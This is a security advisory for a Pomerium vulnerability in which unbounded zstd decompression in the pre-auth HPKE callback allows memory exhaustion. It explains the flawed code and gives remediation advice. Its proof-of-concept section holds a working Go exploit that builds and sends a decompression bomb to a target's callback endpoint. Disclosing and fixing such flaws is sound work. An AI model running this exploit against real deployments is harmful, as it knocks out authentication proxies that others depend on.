high

CVE-2026-50285

Go · github.com/pomerium/pomerium

Summary

Pomerium Pre-Auth Memory Exhaustion via Unbounded zstd Decompression in HPKE Callback

Severity
high
CVSS
7.5
EPSS
0.7% (p54)
CWE
CWE-400, CWE-1284
Also known as
GHSA-ggw3-5987-rx77
Published
2026-07-15
Updated
2026-07-15

Advisory details

Summary

The HPKE V2 URL decode path in pkg/hpke/url.go decompresses attacker-controlled zstd data without any size limit. On Pomerium deployments using the stateless authentication flow (Pomerium Zero / hosted authenticate), the proxy's /.pomerium/callback endpoint is reachable without credentials and processes attacker-crafted HPKE-encrypted payloads before the sender's identity is validated. Because Pomerium's HPKE receiver public key is publicly served, an attacker can encrypt a decompression bomb, deliver it to the callback endpoint, and cause unbounded memory allocation — crashing or degrading the proxy process.

Severity

High (CVSS 3.1: 7.5)

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Affected Component

CWE

Description

Unbounded zstd Decompression in decodeQueryStringV2

pkg/hpke/url.go defines two decoders. The V1 path is plaintext. The V2 path zstd-compresses the query string before encryption. Decoding reverses this with no output size cap (url.go:166–176):

var zstdDecoder, _ = zstd.NewReader(nil,
    zstd.WithDecoderLowmem(true),
)

func decodeQueryStringV2(raw []byte) (url.Values, error) {
    bs, err := zstdDecoder.DecodeAll(raw, nil)  // no size limit
    if err != nil {
        return nil, err
    }
    return url.ParseQuery(string(bs))
}

WithDecoderLowmem(true) reduces the decoder's own memory footprint but applies no cap on the output. A 19 KB input can produce 128 MiB of output; a 38 KB input can produce 256 MiB.

By contrast, the codebase applies LimitReader when decompressing in internal/zero/api/download.go:75:

r = io.LimitReader(zr, maxUncompressedBlobSize)  // 1 GB cap

The protection is available but not applied to decodeQueryStringV2, confirming this is an inconsistent defense.

HPKE Does Not Block the Attack — Sender Validation Is Too Late

DecryptURLValues for the V2 format (url.go:107–126):

case IsEncryptedURLV2(encrypted):
    senderPublicKey, err = PublicKeyFromString(encrypted.Get(paramSenderPublicKeyV2))  // attacker-controlled
    // ...
    sealed, err := decode(encrypted.Get(paramQueryV2))
    // ...
    message, err := Open(receiverPrivateKey, senderPublicKey, sealed)  // HPKE decrypt — succeeds
    // ...
    decrypted, err = decodeQueryStringV2(message)  // zstd decompress — UNBOUNDED

Open uses SetupAuth (HPKE authenticated mode). It only verifies that sealed was created with a key pair whose public half is senderPublicKey. Because the attacker supplies both k (sender public key) and q (sealed payload), they choose a consistent key pair themselves. The Open call succeeds with their own freshly-generated keys.

Sender identity is validated after DecryptURLValues returns (stateless.go:391–397):

senderPublicKey, values, err := hpke.DecryptURLValues(s.hpkePrivateKey, r.Form)
// ... zstd already completed ...
err = s.validateSenderPublicKey(r.Context(), senderPublicKey)  // now rejects attacker

The decompression memory spike occurs unconditionally before rejection.

Pre-Auth Execution Chain on the Proxy Callback

The proxy registers the callback route without any session or signature middleware (proxy/handlers.go:53–54):

c := r.PathPrefix(endpoints.PathPomeriumCallback).Subrouter()
c.Path("/").Handler(httputil.HandlerFunc(p.Callback)).Methods(http.MethodGet)

For Stateless-flow deployments, p.Callback → authenticateflow.Stateless.Callback → hpke.DecryptURLValues (unbounded decompress) → validateSenderPublicKey (rejects). This is by design: the callback endpoint must be pre-auth because it is the landing page after an IdP OAuth redirect.

Pomerium's HPKE receiver public key is served publicly and without authentication (internal/controlplane/http.go:82):

root.Path(endpoints.PathHPKEPublicKey).Methods(http.MethodGet).Handler(
    traceHandler(hpke_handlers.HPKEPublicKeyHandler(hpkePublicKey)))

The full attack requires no credentials of any kind.

Self-hosted (Stateful) deployments are NOT affected. The stateful Callback calls s.VerifySignature(r) as its very first operation, verifying an HMAC-SHA256 signature over the URL before touching the body. If the signature is missing or invalid, the function returns immediately without decrypting or decompressing anything.

Proof of Concept

# Step 1: Retrieve the receiver public key
curl -so receiver.pub "https://TARGET_HOSTNAME/.well-known/pomerium/hpke-public-key" | xxd | head

# Step 2: Build and send the decompression bomb (requires Go)
package main

import (
    "encoding/base64"
    "fmt"
    "net/http"
    "net/url"
    "strings"

    "github.com/klauspost/compress/zstd"
    "github.com/pomerium/pomerium/pkg/hpke"
)

func main() {
    // Fetch receiver public key from the target
    resp, _ := http.Get("https://TARGET_HOSTNAME/.well-known/pomerium/hpke-public-key")
    pubBytes := make([]byte, 32)
    resp.Body.Read(pubBytes)
    resp.Body.Close()

    receiverPub, _ := hpke.PublicKeyFromBytes(pubBytes)

    // Attacker generates their own sender key pair
    attackerPriv, _ := hpke.GeneratePrivateKey()

    // Build a decompression bomb: 128 MiB of repeated bytes → ~19 KB compressed
    plain := "x=" + strings.Repeat("A", 128*1024*1024)
    enc, _ := zstd.NewWriter(nil)
    compressed := enc.EncodeAll([]byte(plain), nil)

    // Seal the bomb with attacker's private key → server's public key
    sealed, _ := hpke.Seal(attackerPriv, receiverPub, compressed)

    form := url.Values{
        "k": {attackerPriv.PublicKey().String()},
        "q": {base64.RawURLEncoding.EncodeToString(sealed)},
    }

    // Deliver to the pre-auth callback endpoint
    target := "https://TARGET_HOSTNAME/.pomerium/callback/?" + form.Encode()
    fmt.Printf("Sending bomb to: %s\n", target)
    http.Get(target)
    fmt.Println("Done — server allocated ~256 MB per request")
}

Repeated calls amplify the effect proportionally. The server-side rejection from validateSenderPublicKey does not prevent the allocation.

Impact

Recommended Remediation

Option 1: Cap decompressed output size in decodeQueryStringV2 (preferred)

Apply a reasonable upper bound on the decompressed query string. Legitimate HPKE-encrypted query strings contain URL parameters (redirect URIs, scopes, timestamps) and are never more than a few hundred kilobytes:


References

Related advisories

Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.

Check my repo

Summarize with AI

ChatGPTClaudePerplexity

Sources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.